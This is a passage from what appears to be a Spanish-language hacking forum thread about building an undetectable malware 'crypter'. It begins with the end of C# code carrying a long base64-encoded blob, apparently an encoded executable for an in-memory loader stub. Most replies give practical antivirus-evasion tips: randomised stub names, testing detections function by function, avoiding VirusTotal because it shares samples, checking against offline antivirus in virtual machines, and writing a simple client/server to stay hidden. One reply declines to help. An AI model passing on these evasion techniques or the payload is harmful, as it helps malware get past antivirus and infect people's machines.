hWMFpzVlZOc1NrNVNiVkpZVmpKME1HRnJNVmRUYWtaWFVucEdkbFpVU2t0U01rNUhZa1pvVjAweWFHOVdWekI0VlcxV1IxcElWbE5pUlhCd1ZteGFkMkZHV25STlNHaFdUVlUxV0ZZeWVHOWhNVW8yWWtjNVZWWnNXak5VVlZwelZteGtjMVJzWkZkaVNFSlpWMVJDYTFJeFdsZFhiazVxVWpKb1lWcFhkR0ZOTVZaelYyeGthMUl3TlVkVWJGcHJWR3hhV0dRemNGZGlXR2hVVlhwQmVGTkdTbGxoUjBaVFZqSm9WbGRYZEd0aU1rbDRWbTVHVW1KVldsaFphMXAzVFVad1ZtRkhkRlZoZWtaWVdUQm9jMVl3TVhGU2EyaGFWak5vYUZreU1VOVNWa1owVW14T1YwMVZXWHBXYlRGM1V6Rk5lVlJ1VGxWaWEzQnZWVzB4VTFaR1VsVlRiVGxwVFZad2VWWlhkREJWTURGWFlrUlNWMUo2VmxoV2JURkxVbXhPYzJGR1dtbFNhM0JaVm1wR1lWbFdTWGhpUkZwVFlsZDRUMVpxUmt0VFZtUllaRWRHVjAxV1ducFhhMVp2WVVaS2MxTnNXbGRpVkVaVVZtdGFkMWRIVmtsVWJHUnBVakZLTmxaclkzaGlNVlY0VjJ0YVdHRnNjRmhXYTFaeVpVWnNjVkpzY0d4U2JWSmFXVEJhWVdGV1NYbGhSbkJYWWxSRk1GcEVSbk5XTWs1SFYyeG9hVmRHU25sV2JURXdaREpXYzFkdVVrNVhSVFZZVkZaV2MwNXNiRlpWYkdSWFRVUkdXVlpXYUd0WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1NHSkhiRk5YUlVreFZtMTRhMDFHV1hoVVdHeFVWMGRvY0ZWdE1UUmpWbFp6V2taT2FrMVdjREJhVlZZd1lrZEtSMk5FUWxWV1ZrcFlWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SVVtdGFiRkp0VWs5WmJURnZZakZhY1ZGdFJsZE5helY2V1RCV2IxVXlTa2hWYXpsVlZucEdkbFV5ZUZwbFJsWnlZMGQ0VTJGNlJUQldWRVp2WWpKR2MxTnNhRlppVjJoWFdXeG9UbVZHV1hkWGJIQnJUVlp3ZVZwRlZURmhWa3AxVVZoa1dGWkZTbGhaVkVacll6RmtXVnBHWkdoaVJYQlpWMWQwYTJJeVVuTlhXR1JZWWxoU1ZWVnFRbUZUUmxsNVpVaGthRlp0VWtsWlZXTTFWakpLVlZKVVFscGxhM0JRV1hwR2QxTldUblJrUms1T1RVVndWbFl4WkRCWlYxRjNUbFZrV0dKSGFFOVdhMVpMVkRGV2RHVklUazlTYkd3MVZHeFZOV0ZIU2taalJteGFWbFp3ZGxacVNrZGphelZYVld4a1UxWnVRalpXYlhoaFVqRmtXRkpyWkZWaVIxSnZWRlJDU2sxc1duUmtSM1JQVW0xNFdGWnNhSE5XUjBWNFkwWnNWMDFIYUVSV01GcGhZekZrZFZwR1RrNVdhMWt3Vm1wS01GUXhXblJUYTFwVVlrWndWbFpzV2tkTk1WWkhVbFJzVVZWVU1Eaz0=");
        Console.ReadKey();
        return 0;
    }

}












@XSStringManolo

Muchas gracias por el trabajo Aincrad, hiré poniendo en práctica tus recomendaciones.

Dices que cambie todo el código de la función que corre el PE en memoria, que busque otra forma distinta (te he entendido bien?)


**Aincrad**

Cita de: @XSStringManolo en  1 Noviembre 2021, 17:01 PM
Muchas gracias por el trabajo Aincrad, hiré poniendo en práctica tus recomendaciones.

Dices que cambie todo el código de la función que corre el PE en memoria, que busque otra forma distinta (te he entendido bien?)



Si básicamente, y el Stub lo generas con nombres randoms , para hacer un buen stub, vas probando función por función con virus total para ver el ratio de detecciones.

Al final tendrás una buena estructura para tu stub, y un crypter indetectable.








xxxposeidonxxx

Hola, varios puntos a repasar.

1: No entiendo como eres capaz de programar ese código y no saber que modificar para dejarlo indetectable ya que según vas programando tu mismo puedes ir compilando y   probando detecciones, modificando el código al mismo tiempo para que no sea detectado. Así como explica @Aincrad <-- haz lo que te dice.

2: Usar Virustotal significa estas reportando continuamente las muestras y una copia de tu ejecutable a todas las compañías
de antivirus en tiempo real y no solo 1. Cada vez que compilas  se genera un nuevo ejecutable con diferente Hash y se envian mil copias y
muestras de tu ejecutable, asi que la modificacion que puedas llegar hacer o un codigo limpio y nuevo se echaria aperder en pocas horas.
Debes usar un servicio como antiscan.me y aun asi yo no me fio, prefiero instalar los antivirus en maquinas virtuales y hacer las comprobaciones
manualmente ejecutando el malware. ( Con el internet ya desconectado y luego directamente desinlatar el AV sin conectar el internet.)

3: Depende del Malware que estes encryptando este debe estar muy firmado por los antivirus y analizado,
algunos incluso estan los codigos en GitHub, cuando se des-encypta y se carga en la memoria o se agrega al inicio al registro etc etc
sera detectado de nuevo.

4: Directamente es mejor programar un cliente/servidor  sencillo y así pasara mas desapercibido.

5:Puedes mirar tutoriales de modding antiguos aunque sean de  VB6 porque los pasos a seguir son los mismos y te servirá para aprender a entender un poco a los antivirus.

Flamer

Cita de: xxxposeidonxxx en  1 Diciembre 2021, 00:40 AM


2: Usar Virustotal significa estas reportando continuamente las muestras y una copia de tu ejecutable a todas las compañías
de antivirus en tiempo real y no solo 1. Cada vez que compilas  se genera un nuevo ejecutable con diferente Hash y se envian mil copias y
muestras de tu ejecutable, asi que la modificacion que puedas llegar hacer o un codigo limpio y nuevo se echaria aperder en pocas horas

concuerdo con poseidon al analizar tu programa en virustotal estas mandando una muestra para que actualicen sus antivirus....ellos conparten muestras con las compañias de AV..

no doy opciones para tu crypter por que este foro se trata de hacer el bien no el mal y a un que se me hace mas facil hacer el mal yo prefiero hacer el bien

saludos Flamer